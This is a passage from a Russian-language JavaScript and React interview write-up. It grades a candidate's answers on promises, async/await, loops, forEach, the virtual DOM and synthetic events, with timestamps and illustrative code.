if (results.some(r => r.done)) break;
yield results.map(r => r.value);
}
}
}
const numbers = [1, 2, 3];
const letters = ['a', 'b', 'c'];
for (const [num, letter] of new Zip(numbers, letters)) {
console.log(num, letter);
}
// 1 a
// 2 b
// 3 c
Итог:
Для создания итерируемой структуры данных нужно:
- Реализовать метод
[Symbol.iterator](), возвращающий объект сnext() next()должен возвращать{ value, done }- Для очистки ресурсов можно добавить метод
return() - Для упрощения можно использовать генераторы (
function*иyield)
Вопрос 22. Что такое промисы, какие состояния они имеют и чем async/await отличается от обычных промисов?
Таймкод: 00:34:19
Ответ собеседника: Правильный. Промис — функция-конструктор, принимающая executor с resolve/reject. Имеет три состояния: pending, fulfilled, rejected. Обрабатывается через then, catch, finally. async/await работает только в функциях помеченных как async, асинхронные функции всегда возвращают промис. await приостанавливает выполнение до завершения промиса, обработка ошибок через try/catch.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.
Состояния промиса:
Pending ──resolve()──→ Fulfilled (resolved)
│
└──reject()──→ Rejected
Промис может перейти из pending в fulfilled или rejected только один раз. После этого состояние неизменно (settled).
Создание промиса:
const promise = new Promise((resolve, reject) => {
// Асинхронная операция
setTimeout(() => {
const success = true;
if (success) {
resolve('Data loaded'); // Переход в fulfilled
} else {
reject(new Error('Failed')); // Переход в rejected
}
}, 1000);
});
Использование через then/catch/finally:
promise
.then(data => {
console.log(data); // 'Data loaded'
return data.toUpperCase();
})
.then(upperData => {
console.log(upperData); // 'DATA LOADED'
})
.catch(error => {
console.error(error);
})
.finally(() => {
console.log('Done'); // Выполняется всегда
});
async/await — синтаксический сахар:
// С промисами
function fetchData() {
return fetch('/api/data')
.then(response => response.json())
.then(data => {
console.log(data);
return data;
})
.catch(error => {
console.error(error);
});
}
// С async/await — тот же код
async function fetchData() {
try {
const response = await fetch('/api/data');
const data = await response.json();
console.log(data);
return data;
} catch (error) {
console.error(error);
}
}
Ключевые отличия async/await:
1. Синхронный стиль кода:
// Промисы — цепочка then
function getUserData(userId) {
return fetchUser(userId)
.then(user => fetchOrders(user.id))
.then(orders => fetchProducts(orders[0].id))
.then(products => ({ user, orders, products }))
.catch(error => handleError(error));
}
// async/await — читается как синхронный код
async function getUserData(userId) {
try {
const user = await fetchUser(userId);
const orders = await fetchOrders(user.id);
const products = await fetchProducts(orders[0].id);
return { user, orders, products };
} catch (error) {
handleError(error);
}
}
2. Обработка ошибок:
// Промисы — catch в цепочке
fetchData()
.then(processData)
.then(saveData)
.catch(error => {
// Ловит ошибки из любого then
console.error(error);
});
// async/await — try/catch
async function handleData() {
try {
const data = await fetchData();
const processed = await processData(data);
await saveData(processed);
} catch (error) {
// Ловит ошибки из любого await
console.error(error);
}
}
3. Параллельное выполнение:
// Промисы — Promise.all
async function loadDashboard() {
const [users, orders, products] = await Promise.all([
fetchUsers(),
fetchOrders(),
fetchProducts()
]);
return { users, orders, products };
}
// Без async/await — менее читаемо
function loadDashboard() {
return Promise.all([
fetchUsers(),
fetchOrders(),
fetchProducts()
]).then(([users, orders, products]) => ({
users, orders, products
}));
}
Важные нюансы async/await:
1. async функция всегда возвращает промис:
async function getValue() {
return 42; // Автоматически оборачивается в Promise.resolve(42)
}
getValue().then(v => console.log(v)); // 42
2. await можно использовать только внутри async:
// Ошибка — await вне async
// const data = await fetchData(); // SyntaxError
// Правильно
async function main() {
const data = await fetchData();
}
3. Последовательное vs параллельное:
// Последовательно — медленно (3 секунды)
async function sequential() {
const a = await fetchA(); // 1 сек
const b = await fetchB(); // 1 сек
const c = await fetchC(); // 1 сек
return [a, b, c];
}
// Параллельно — быстро (1 секунда)
async function parallel() {
const [a, b, c] = await Promise.all([
fetchA(),
fetchB(),
fetchC()
]);
return [a, b, c];
}
4. Обработка ошибок в параллельных запросах:
// Promise.all — отклоняется при первой ошибке
async function loadAll() {
try {
const [users, orders] = await Promise.all([
fetchUsers(), // Если упадёт — orders не загрузятся
fetchOrders()
]);
} catch (error) {
// Один из запросов провалился
}
}
// Promise.allSettled — ждёт все, даже при ошибках
async function loadAllSafe() {
const results = await Promise.allSettled([
fetchUsers(),
fetchOrders()
]);
const users = results[0].status === 'fulfilled'
? results[0].value
: null;
const orders = results[1].status === 'fulfilled'
? results[1].value
: null;
}
5. Цепочки vs async/await:
// Промисы — цепочка с промежуточными результатами
function processWithPromises(input) {
return Promise.resolve(input)
.then(data => step1(data))
.then(result1 => step2(result1))
.then(result2 => step3(result2));
}
// async/await — промежуточные переменные
async function processWithAsync(input) {
const data = await Promise.resolve(input);
const result1 = await step1(data);
const result2 = await step2(result1);
const result3 = await step3(result2);
return result3;
}
Итог:
async/await — это не замена промисам, а синтаксический сахар над ними. Под капотом async функции используют промисы. Преимущества async/await:
- Более читаемый код
- Проще обработка ошибок через try/catch
- Проще отладка (точки останова работают ожидаемо)
- Более понятный поток управления
Вопрос 23. Если в блоке then вернуть значение и перейти в finally — получим ли мы это значение в finally?
Таймкод: 00:36:47
Ответ собеседова: Правильный. Нет, finally не получает аргументов и ничего не принимает — он просто выполняется в любом случае после then/catch.
Правильный ответ:
Ответ собеседника полностью верен. Ниже приведено дополнительное пояснение с примерами.
Поведение finally:
finally выполняется всегда, независимо от того, был ли промис разрешён или отклонён. Он не получает аргументов и не может изменить результат цепочки.
Promise.resolve('hello')
.then(value => {
console.log('then:', value); // 'hello'
return value.toUpperCase();
})
.finally(result => {
// result — undefined!
console.log('finally result:', result); // undefined
console.log('finally executed');
return 'from finally'; // Это значение игнорируется
})
.then(value => {
console.log('next then:', value); // 'HELLO' (не 'from finally')
});
Вывод:
then: hello
finally result: undefined
finally executed
next then: HELLO
Почему так работает:
finally предназначен для очистки ресурсов — закрытия соединений, скрытия индикаторов загрузки, освобождения памяти. Он не должен влиять на данные в цепочке.
// Правильное использование finally
async function fetchData() {
showLoading();
try {
const response = await fetch('/api/data');
const data = await response.json();
return data;
} catch (error) {
console.error(error);
throw error;
} finally {
hideLoading(); // Выполняется всегда
}
}
Сравнение с try/catch/finally в синхронном коде:
// Синхронный аналог
try {
const result = syncOperation();
console.log(result);
} catch (error) {
console.error(error);
} finally {
cleanup(); // Выполняется всегда, не получает result
}
Важные особенности finally:
1. finally не изменяет значение в цепочке:
Promise.resolve(10)
.then(x => x * 2) // 20
.finally(() => 999) // 999 игнорируется
.then(x => console.log(x)); // 20
2. finally с reject прерывает цепочку:
Promise.resolve('ok')
.then(x => x)
.finally(() => {
throw new Error('finally error');
})
.catch(e => console.log(e.message)); // 'finally error'
3. finally с асинхронным кодом:
Promise.resolve('data')
.then(processData)
.finally(async () => {
await saveLog(); // Асинхронная операция
hideLoading();
})
.then(result => {
// Этот then ждёт завершения асинхронного finally
console.log(result);
});
Итог:
finally — это механизм для выполнения кода независимо от результата. Он не получает и не изменяет значение в цепочке промисов. Это поведение соответствует принципу единственной ответственности: then обрабатывает успех, catch обрабатывает ошибки, finally выполняет очистку.
Вопрос 24. Работает ли await внутри обычных циклов (for, while) и как сделать так, чтобы цикл ждал завершения асинхронной операции перед следующей итерацией?
Таймкод: 00:37:58
Ответ собеседника: Неполный. В обычных циклах for/while await не сработает корректно — цикл продолжит выполняться. Предположил, что for...of работает с await, а для обычных циклов не знает механизма. Не упомянул for await...of как специальную конструкцию для асинхронной итерации.
Правильный ответ:
await внутри обычных циклов работает корректно — он приостанавливает выполнение текущей итерации до завершения промиса. Это одно из ключевых преимуществ async/await.
await в обычных циклах:
// Обычный for — await работает
async function processItems(items) {
for (let i = 0; i < items.length; i++) {
const result = await fetchData(items[i]); // Ждёт завершения
console.log(`Item ${i}:`, result);
}
}
// while — await работает
async function processQueue(queue) {
while (queue.length > 0) {
const item = queue.shift();
await processItem(item); // Ждёт завершения
}
}
// for...of — await работает
async function processUsers(users) {
for (const user of users) {
const profile = await fetchProfile(user.id); // Ждёт
console.log(profile);
}
}
Проблема с forEach и map:
// НЕПРАВИЛЬНО — forEach не ждёт await
async function badExample(items) {
items.forEach(async (item) => {
await processItem(item); // Не ждёт! Все запросы запускаются параллельно
});
console.log('Done'); // Выполнится ДО завершения processItem
}
// ПРАВИЛЬНО — for...of ждёт
async function goodExample(items) {
for (const item of items) {
await processItem(item); // Ждёт завершения
}
console.log('Done'); // Выполнится ПОСЛЕ всех processItem
}
Параллельное выполнение в цикле:
Если нужна параллельность — собираем промисы и используем Promise.all:
// Параллельно — быстрее
async function processParallel(items) {
const promises = items.map(item => processItem(item));
const results = await Promise.all(promises);
return results;
}
// Последовательно — медленнее, но контролируемо
async function processSequential(items) {
const results = [];
for (const item of items) {
const result = await processItem(item);
results.push(result);
}
return results;
}
for await...of — асинхронные итераторы:
Специальная конструкция для итерации по асинхронным коллекциям:
// Асинхронный генератор
async function* asyncGenerator() {
yield await fetch('/api/item/1');
yield await fetch('/api/item/2');
yield await fetch('/api/item/3');
}
// for await...of
async function consume() {
for await (const response of asyncGenerator()) {
const data = await response.json();
console.log(data);
}
}
Практический пример — пагинация API:
// Загрузка всех страниц последовательно
async function fetchAllPages(baseUrl) {
const allItems = [];
let page = 1;
let hasMore = true;
while (hasMore) {
const response = await fetch(`${baseUrl}?page=${page}`);
const data = await response.json();
allItems.push(...data.items);
hasMore = data.hasNextPage;
page++;
}
return allItems;
}
Параллельная загрузка с ограничением concurrency:
// Ограничение параллелизма — не более 5 одновременных запросов
async function processWithConcurrency(items, concurrency = 5) {
const results = [];
for (let i = 0; i < items.length; i += concurrency) {
const batch = items.slice(i, i + concurrency);
const batchResults = await Promise.all(
batch.map(item => processItem(item))
);
results.push(...batchResults);
}
return results;
}
// Или через async библиотеку
async function processWithPool(items, concurrency = 5) {
const results = [];
const executing = new Set();
for (const item of items) {
const promise = processItem(item).then(result => {
executing.delete(promise);
return result;
});
executing.add(promise);
results.push(promise);
if (executing.size >= concurrency) {
await Promise.race(executing);
}
}
return Promise.all(results);
}
Сравнение подходов:
const items = [1, 2, 3, 4, 5];
// 1. Последовательно — 5 секунд (1 сек × 5)
async function sequential() {
for (const item of items) {
await delay(1000);
console.log(item);
}
}
// 2. Параллельно — 1 секунда
async function parallel() {
await Promise.all(items.map(async (item) => {
await delay(1000);
console.log(item);
}));
}
// 3. С ограничением concurrency=2 — 3 секунды
async function limitedConcurrency() {
for (let i = 0; i < items.length; i += 2) {
const batch = items.slice(i, i + 2);
await Promise.all(batch.map(async (item) => {
await delay(1000);
console.log(item);
}));
}
}
Итог:
awaitработает внутри всех типов циклов:for,while,for...offorEachиmapне ждутawait— используйтеfor...ofдля последовательного выполненияfor await...of— для асинхронных итераторов- Для параллелизма —
Promise.allили контролируемый pool с ограничением concurrency
Вопрос 25. Как пройтись по массиву URL и для каждого вызвать асинхронный запрос, дождавшись всех ответов перед продолжением кода?
Таймкод: 00:40:57
Ответ собеседника: Правильный. Обернуть каждый вызов в промис и использовать Promise.all — передать массив промисов и дождаться их выполнения через then или await.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.
Базовый подход — Promise.all:
async function fetchAllUrls(urls) {
const responses = await Promise.all(
urls.map(url => fetch(url))
);
const data = await Promise.all(
responses.map(r => r.json())
);
return data;
}
// Использование
const urls = [
'https://api.example.com/users',
'https://api.example.com/posts',
'https://api.example.com/comments'
];
const [users, posts, comments] = await fetchAllUrls(urls);
С обработкой ошибок — Promise.allSettled:
async function fetchAllUrlsSafe(urls) {
const results = await Promise.allSettled(
urls.map(url => fetch(url).then(r => r.json()))
);
const successful = [];
const failed = [];
results.forEach((result, index) => {
if (result.status === 'fulfilled') {
successful.push(result.value);
} else {
failed.push({ url: urls[index], error: result.reason });
}
});
return { successful, failed };
}
// Использование
const { successful, failed } = await fetchAllUrlsSafe(urls);
if (failed.length > 0) {
console.log('Failed URLs:', failed);
}
console.log('Successful:', successful);
С ограничением concurrency:
async function fetchWithConcurrency(urls, concurrency = 5) {
const results = [];
for (let i = 0; i < urls.length; i += concurrency) {
const batch = urls.slice(i, i + concurrency);
const batchResults = await Promise.all(
batch.map(url => fetch(url).then(r => r.json()))
);
results.push(...batchResults);
}
return results;
}
// Или более элегантное решение с пулом
async function fetchWithPool(urls, concurrency = 5) {
const results = new Array(urls.length);
let index = 0;
async function worker() {
while (index < urls.length) {
const currentIndex = index++;
const response = await fetch(urls[currentIndex]);
results[currentIndex] = await response.json();
}
}
const workers = Array(concurrency).fill(null).map(() => worker());
await Promise.all(workers);
return results;
}
С таймаутом для каждого запроса:
async function fetchWithTimeout(url, timeout = 5000) {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), timeout);
try {
const response = await fetch(url, { signal: controller.signal });
return await response.json();
} finally {
clearTimeout(timeoutId);
}
}
async function fetchAllWithTimeout(urls, timeout = 5000) {
return Promise.all(
urls.map(url => fetchWithTimeout(url, timeout))
);
}
С retry при ошибках:
async function fetchWithRetry(url, maxRetries = 3) {
for (let attempt = 0; attempt < maxRetries; attempt++) {
try {
const response = await fetch(url);
if (!response.ok) throw new Error(`HTTP ${response.status}`);
return await response.json();
} catch (error) {
if (attempt === maxRetries - 1) throw error;
await delay(Math.pow(2, attempt) * 1000); // Exponential backoff
}
}
}
function delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function fetchAllWithRetry(urls, maxRetries = 3) {
return Promise.all(
urls.map(url => fetchWithRetry(url, maxRetries))
);
}
Полное решение со всеми функциями:
async function fetchAll(urls, options = {}) {
const {
concurrency = 5,
timeout = 10000,
retries = 3,
retryDelay = 1000
} = options;
const results = new Array(urls.length);
const errors = [];
let index = 0;
async function fetchOne(url) {
for (let attempt = 0; attempt < retries; attempt++) {
try {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), timeout);
const response = await fetch(url, { signal: controller.signal });
clearTimeout(timeoutId);
if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}
return await response.json();
} catch (error) {
if (attempt === retries - 1) throw error;
await new Promise(r => setTimeout(r, retryDelay * Math.pow(2, attempt)));
}
}
}
async function worker() {
while (index < urls.length) {
const currentIndex = index++;
try {
results[currentIndex] = await fetchOne(urls[currentIndex]);
} catch (error) {
errors.push({ url: urls[currentIndex], error });
results[currentIndex] = null;
}
}
}
const workers = Array(concurrency).fill(null).map(() => worker());
await Promise.all(workers);
return { results, errors };
}
// Использование
const { results, errors } = await fetchAll([
'https://api.example.com/users',
'https://api.example.com/posts',
'https://api.example.com/comments'
], {
concurrency: 3,
timeout: 5000,
retries: 2
});
Сравнение Promise.all vs Promise.allSettled:
// Promise.all — падает при первой ошибке
try {
const results = await Promise.all([
fetch('/api/fast'), // 100ms
fetch('/api/error'), // 500 error — всё отменяется
fetch('/api/slow') // 2000ms
]);
} catch (error) {
console.log('One request failed, all rejected');
}
// Promise.allSettled — ждёт все
const results = await Promise.allSettled([
fetch('/api/fast'),
fetch('/api/error'),
fetch('/api/slow')
]);
results.forEach(result => {
if (result.status === 'fulfilled') {
console.log('Success:', result.value);
} else {
console.log('Failed:', result.reason);
}
});
Итог:
- Promise.all — для параллельной загрузки, падает при первой ошибке
- Promise.allSettled — для параллельной загрузки, ждёт все результаты
- Ограничение concurrency — для контроля нагрузки на сервер
- Retry и timeout — для надёжности в production
Вопрос 26. Можно ли внутри метода forEach использовать return для возврата результата и можно ли прервать выполнение forEach?
Таймкод: 00:41:52
Ответ собеседника: Неполный. Предположил, что return внутри forEach не работает и нельзя прервать выполнение цикла. Не упомянул, что в forEach нельзя использовать break/continue, но это можно сделать в обычных циклах for/for...of.
Правильный ответ:
Ответ собеседника в целом верен. Ниже приведено детальное объяснение.
return внутри forEach:
return внутри forEach работает как continue в обычном цикле — он пропускает текущую итерацию, но не возвращает результат из внешней функции и не прерывает цикл.
const numbers = [1, 2, 3, 4, 5];
// return внутри forEach — пропускает текущую итерацию
numbers.forEach(num => {
if (num === 3) return; // Пропускает 3, но цикл продолжается
console.log(num);
});
// Вывод: 1, 2, 4, 5
// return не возвращает значение из внешней функции
function findItem(items) {
items.forEach(item => {
if (item.id === 2) {
return item; // Это return из callback, не из findItem!
}
});
}
const result = findItem([{ id: 1 }, { id: 2 }]);
console.log(result); // undefined
Невозможно прервать forEach:
// break — синтаксическая ошибка
try {
[1, 2, 3].forEach(num => {
if (num === 2) break; // SyntaxError
});
} catch (e) {
console.log(e.message); // Illegal break statement
}
// continue — синтаксическая ошибка
try {
[1, 2, 3].forEach(num => {
if (num === 2) continue; // SyntaxError
});
} catch (e) {
console.log(e.message); // Illegal continue statement
}
Альтернативы для прерывания и возврата:
1. for...of с break/return:
// Прерывание цикла
function findItem(items) {
for (const item of items) {
if (item.id === 2) {
return item; // Возвращает из функции
}
}
return null;
}
const found = findItem([{ id: 1 }, { id: 2 }, { id: 3 }]);
console.log(found); // { id: 2 }
2. some() — для проверки наличия элемента:
const numbers = [1, 2, 3, 4, 5];
// Найти первый элемент, удовлетворяющий условию
const hasEven = numbers.some(num => {
return num % 2 === 0; // Возвращает true на 2, цикл прерывается
});
console.log(hasEven); // true
3. find() — для поиска элемента:
const users = [
{ id: 1, name: 'Alice' },
{ id: 2, name: 'Bob' },
{ id: 3, name: 'Charlie' }
];
const user = users.find(u => u.id === 2);
console.log(user); // { id: 2, name: 'Bob' }
4. every() — для проверки всех элементов:
const numbers = [2, 4, 6, 8];
const allEven = numbers.every(num => num % 2 === 0);
console.log(allEven); // true
const mixed = [2, 4, 5, 8];
const allEvenMixed = mixed.every(num => num % 2 === 0);
console.log(allEvenMixed); // false — прерывается на 5
5. try/catch для принудительного прерывания (антипаттерн):
// Работает, но не рекомендуется
try {
[1, 2, 3, 4, 5].forEach(num => {
console.log(num);
if (num === 3) {
throw new Error('Break');
}
});
} catch (e) {
if (e.message !== 'Break') throw e;
}
// Вывод: 1, 2, 3
Сравнение методов массива:
| Метод | Прерывается | Возвращает | Использование |
|---|---|---|---|
| forEach | Нет | undefined | Сайд-эффекты |
| map | Нет | Новый массив | Трансформация |
| filter | Нет | Новый массив | Фильтрация |
| find | Да (при true) | Элемент | Поиск первого |
| findIndex | Да (при true) | Индекс | Поиск индекса |
| some | Да (при true) | boolean | Проверка наличия |
| every | Да (при false) | boolean | Проверка всех |
| reduce | Нет | Любое значение | Агрегация |
Когда использовать forEach:
// Правильно — сайд-эффекты без возврата
users.forEach(user => {
sendEmail(user);
logActivity(user.id);
});
// Неправильно — используйте map
const names = [];
users.forEach(user => {
names.push(user.name); // Лучше: users.map(u => u.name)
});
// Неправильно — используйте find/some
let found = null;
users.forEach(user => {
if (user.id === 2) found = user; // Лучше: users.find(u => u.id === 2)
});
Итог:
returnвнутриforEach— пропускает текущую итерацию (какcontinue), не возвращает значение из функцииbreakиcontinueвнутриforEach— синтаксическая ошибка- Для прерывания используйте
for...of,find,some,every - Для возврата значения используйте
find,findIndex,reduce forEachпредназначен только для сайд-эффектов, не для трансформации или поиска
Вопрос 27. Почему React работает быстрее обычного JavaScript и за счёт чего достигается эта производительность?
Таймкод: 00:43:37
Ответ собеседника: Правильный. React использует виртуальный DOM — легковесную копию реального DOM в виде обычного JavaScript-объекта. При изменении состояния сначала обновляется виртуальный DOM, затем вычисляется разница между старым и новым деревом (diffing), и точечно обновляются только изменившиеся части реального DOM. Это быстрее, чем прямая манипуляция через querySelector с последующим парсингом и мутацией.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание.
Проблема прямых манипуляций с DOM:
// Прямая работа с DOM — медленно
function updateList(items) {
const list = document.getElementById('list');
list.innerHTML = ''; // Полная перерисовка!
items.forEach(item => {
const li = document.createElement('li');
li.textContent = item.name;
li.className = 'item';
li.addEventListener('click', () => handleClick(item.id));
list.appendChild(li);
});
}
Проблемы этого подхода:
innerHTML = ''уничтожает все элементы и обработчики событий- Каждый
appendChildвызывает reflow и repaint - Нет оптимизации — даже если изменился один элемент, перерисовывается всё
Как работает Virtual DOM:
1. Состояние изменилось
↓
2. Создаётся новое виртуальное дерево (JavaScript объекты)
↓
3. Diffing — сравнение старого и нового виртуальных деревьев
↓
4. Reconciliation — вычисление минимального набора изменений
↓
5. Пакетное обновление реального DOM (batch update)
Виртуальный DOM — это просто объекты:
// Реальный DOM (тяжёлый)
<li class="item" data-id="1">
<span class="name">Item 1</span>
</li>
// Виртуальный DOM (лёгкий JavaScript объект)
{
type: 'li',
props: { className: 'item', 'data-id': '1' },
children: [
{
type: 'span',
props: { className: 'name' },
children: ['Item 1']
}
]
}
Алгоритм Diffing:
React использует эвристический алгоритм сравнения с двумя ключевыми допущениями:
1. Разные типы элементов — разные деревья:
// Было
<div>
<Counter />
</div>
// Стало
<span>
<Counter />
</span>
// React уничтожает div (и всё внутри) и создаёт span заново
2. Ключ (key) определяет стабильность элемента:
// Без ключей — React не понимает, что элемент переместился
{items.map(item => <li>{item.name}</li>)}
// С ключами — React понимает и перемещает элемент без пересоздания
{items.map(item => <li key={item.id}>{item.name}</li>)}
Пример diffing:
// Старое виртуальное дерево
<ul>
<li key="a">First</li>
<li key="b">Second</li>
<li key="c">Third</li>
</ul>
// Новое виртуальное дерево
<ul>
<li key="a">First</li>
<li key="b">Updated</li> {/* Только текст изменился */}
<li key="c">Third</li>
</ul>
// React обновит только текстовый узел в элементе "b"
Batch Update — пакетное обновление:
// Без batching — 3 отдельных DOM-обновления
setCount(count + 1); // DOM update 1
setFlag(!flag); // DOM update 2
setName('new'); // DOM update 3
// React 18+ с Automatic Batching — 1 обновление
setCount(count + 1); //
setFlag(!flag); // Все три обновления объединяются
setName('new'); // и применяются за один раз
Fiber Architecture (React 16+):
React использует Fiber — архитектуру, позволяющую прерывать рендеринг:
Старый синхронный рендеринг:
[========= Рендеринг =========] // Нельзя прервать
[==== Пользовательское действие ====] // Ждёт
Fiber (с приоритетами):
[== Рендер ==] [Пользовательское действие] [== Рендер ==] // Прерываемо
// React может прервать рендеринг для более важного обновления
// Например, ввод текста в поле важнее, чем обновление списка
// Низкий приоритет — может быть прерван
startTransition(() => {
setSearchResults(results);
});
// Высокий приоритет — выполняется сразу
setInputValue(value);
Дополнительные оптимизации React:
1. React.memo — мемоизация компонента:
const ExpensiveComponent = React.memo(({ data }) => {
// Рендерится только если data изменился
return <div>{/* дорогой рендеринг */}</div>;
});
2. useMemo — мемоизация вычислений:
const sortedItems = useMemo(() => {
return items.sort((a, b) => a.name.localeCompare(b.name));
}, [items]); // Пересчитывается только при изменении items
3. useCallback — мемоизация функций:
const handleClick = useCallback((id) => {
setSelectedId(id);
}, []); // Функция не пересоздаётся при каждом рендере
Когда React может быть медленнее:
React не всегда быстрее ручных оптимизаций:
// Ручная оптимизация может быть быстрее для простых случаев
document.getElementById('counter').textContent = count;
// React создаёт виртуальное дерево, сравнивает, обновляет
setCount(count + 1);
React даёт преимущество при сложных UI с множеством взаимосвязанных компонентов, где ручное управление DOM становится ошибкоёмким и неэффективным.
Итог:
React быстрее не потому, что сам по себе быстрый, а потому что:
- Virtual DOM позволяет минимизировать обращения к реальному DOM
- Batch Update группирует изменения
- Diffing обновляет только то, что изменилось
- Fiber позволяет прерывать рендеринг для приоритетных задач
- Декларативный подход проще оптимизировать, чем императивный
Вопрос 28. Почему пакет React имеет большой размер и что такое синтетические события?
Таймкод: 00:51:00
Ответ собеседника: Неполный. Предположил, что большой размер связан с импортом множества типов, хелперов и функций. Про синтетические события сказал, что это обёртка над нативным событием, оптимизированная под React. Не раскрыл подробно назначение — стандартизацию событий между браузерами и кроссбраузерную совместимость.
Правильный ответ:
Размер пакета React:
React сам по себе относительно небольшой (~6-10 kB minified + gzipped для react + react-dom), но полный бандл React-приложения может быть большим из-за:
1. React DOM — отдельный пакет:
// React — ядро (Virtual DOM, компоненты, хуки)
import React from 'react'; // ~4 kB
// React DOM — рендеринг в браузере
import ReactDOM from 'react-dom'; // ~130 kB (development)
// React DOM — production
// ~40 kB (minified), ~12 kB (gzipped)
2. Development vs Production сборка:
// Development — включает предупреждения, проверки, отладку
// Размер: ~400 kB (React + React DOM)
// Production — минификация, tree-shaking, удаление отладочного кода
// Результат: ~40 kB, ~12 kB gzipped
3. Зависимости экосистемы:
// Типичный React проект включает:
// - React + React DOM: ~40 kB
// - React Router: ~15 kB
// - State management (Redux/Zustand): ~1-10 kB
// - UI библиотека (Ant Design, MUI): ~100-500 kB
// - Утилиты (lodash, axios): ~10-50 kB
// Итого: 200-600 kB
4. Оптимизация размера бандла:
// Tree-shaking — импорт только нужного
import { useState } from 'react'; // Только useState
// Ленивая загрузка компонентов
const HeavyComponent = React.lazy(() => import('./HeavyComponent'));
function App() {
return (
<Suspense fallback={<Loading />}>
<HeavyComponent />
</Suspense>
);
}
Синтетические события (SyntheticEvent):
Синтетические события — это кроссбраузерная обёртка над нативными событиями. React не использует нативные события напрямую.
Проблемы нативных событий:
// Разные браузеры — разные API
element.onclick = function(event) {
// IE: event.srcElement
// Современные: event.target
// IE: event.returnValue = false
// Современные: event.preventDefault()
// IE: event.cancelBubble = true
// Современные: event.stopPropagation()
};
Решение React — SyntheticEvent:
// React нормализует события
function handleClick(event) {
// event — SyntheticEvent, одинаковый во всех браузерах
event.preventDefault(); // Работает везде
event.stopPropagation(); // Работает везде
// Доступ к нативному событию
const nativeEvent = event.nativeEvent;
}
Пул событий (Event Pooling) — до React 17:
// React 16 — синтетические события переиспользовались
function handleClick(event) {
// event будет обнулён после обработчика
console.log(event.type); // 'click'
setTimeout(() => {
console.log(event.type); // null — событие переиспользовано!
}, 0);
// Для асинхронного доступа:
event.persist(); // Отключить переиспользование
}
React 17+ — без пула событий:
// React 17+ — события не переиспользуются
function handleClick(event) {
setTimeout(() => {
console.log(event.type); // 'click' — работает
}, 0);
}
Делегирование событий:
React не вешает обработчики на каждый элемент. Вместо этого используется делегирование:
// Без React — обработчик на каждый элемент
document.querySelectorAll('button').forEach(btn => {
btn.addEventListener('click', handleClick);
});
// React — один обработчик на корневом элементе
// ReactDOM.render() добавляет один обработчик на #root
// Все события всплывают до #root, React определяет целевой элемент
// Как это работает внутри React
document.getElementById('root').addEventListener('click', (nativeEvent) => {
// Определяем целевой DOM элемент
const target = nativeEvent.target;
// Находим соответствующий React компонент
const fiber = getFiberFromDOM(target);
// Создаём SyntheticEvent
const syntheticEvent = new SyntheticEvent(nativeEvent);
// Вызываем обработчик компонента
fiber.onClick(syntheticEvent);
});
Типы синтетических событий:
// Мыши
onClick, onDoubleClick, onMouseEnter, onMouseLeave, onMouseMove
// Клавиатура
onKeyDown, onKeyPress, onKeyUp
// Формы
onChange, onInput, onSubmit, onFocus, onBlur
// Касание (мобильные)
onTouchStart, onTouchMove, onTouchEnd
// Универсальные
onScroll, onWheel, onCopy, onPaste
Пример использования:
function Form() {
const [value, setValue] = useState('');
// onChange — синтетическое событие
const handleChange = (e) => {
// e.target.value — значение поля
setValue(e.target.value);
};
const handleSubmit = (e) => {
// preventDefault — предотвращает отправку формы
e.preventDefault();
console.log('Submitted:', value);
};
return (
<form onSubmit={handleSubmit}>
<input value={value} onChange={handleChange} />
<button type="submit">Submit</button>
</form>
);
}
Итог:
- Размер React зависит от сборки (dev vs production) и экосистемы
- Синтетические события обеспечивают кроссбраузерную совместимость
- Делегирование событий — один обработчик вместо многих
- SyntheticEvent нормализует API между браузерами
Вопрос 29. Для чего нужны синтетические события в React и почему они увеличивают размер пакета?
Таймкод: 00:52:45
Ответ собеседника: Неполный. Предположил, что синтетические события — это видоизменённая версия нативного события с дополнительными методами и свойствами. Не объяснил, что основная цель — стандартизация объекта события для одинаковой работы в разных браузерах, а увеличение размера связано с необходимостью поддержки этой абстракции.
Правильный ответ:
Этот вопрос уже был подробно рассмотрен в предыдущем ответе. Ниже приведены дополнительные детали.
Основные цели синтетических событий:
1. Кроссбраузерная совместимость:
// Нативные события — различия между браузерами
element.addEventListener('click', (event) => {
// Chrome/Firefox/Safari: event.target
// IE9+: event.target
// IE8: event.srcElement
// Стандарт: event.preventDefault()
// IE8: event.returnValue = false
// Стандарт: event.stopPropagation()
// IE8: event.cancelBubble = true
});
// SyntheticEvent — единый API
function handleClick(event) {
event.preventDefault(); // Работает везде
event.stopPropagation(); // Работает везде
event.target; // Работает везде
event.currentTarget; // Работает везде
event.type; // Работает везде
}
2. Делегирование событий (Event Delegation):
React использует один обработчик на корневом элементе вместо множества обработчиков на каждом элементе:
// Без React — N обработчиков для N кнопок
document.querySelectorAll('button').forEach(btn => {
btn.addEventListener('click', handleClick); // 100 кнопок = 100 обработчиков
});
// С React — один обработчик на #root
// React автоматически делегирует все события
// 100 кнопок = 1 обработчик на корне
Это экономит память и упрощает управление обработчиками, особенно при динамическом добавлении/удалении элементов.
3. Интеграция с Fiber и приоритетами:
Синтетические события интегрированы с архитектурой Fiber:
// React может приоритизировать обработку событий
// Высокий приоритет: ввод текста, клики
// Низкий приоритет: скролл, hover
function handleClick(event) {
// React может отложить обработку для более важных задач
startTransition(() => {
setResults(expensiveSearch(query));
});
}
Почему это увеличивает размер пакета:
1. Код нормализации событий:
// Упрощённая реализация SyntheticEvent
class SyntheticEvent {
constructor(nativeEvent) {
this.nativeEvent = nativeEvent;
this.target = nativeEvent.target;
this.currentTarget = nativeEvent.currentTarget;
this.type = nativeEvent.type;
// Нормализация свойств для разных браузеров
this.button = normalizeButton(nativeEvent);
this.clientX = nativeEvent.clientX || nativeEvent.pageX;
// ... ещё множество свойств
}
preventDefault() {
if (this.nativeEvent.preventDefault) {
this.nativeEvent.preventDefault();
} else {
this.nativeEvent.returnValue = false; // IE8
}
}
stopPropagation() {
if (this.nativeEvent.stopPropagation) {
this.nativeEvent.stopPropagation();
} else {
this.nativeEvent.cancelBubble = true; // IE8
}
}
// ... ещё методы
}
2. Поддержка множества типов событий:
// React создаёт разные SyntheticEvent для разных типов
const eventConstructors = {
'click': SyntheticMouseEvent,
'keydown': SyntheticKeyboardEvent,
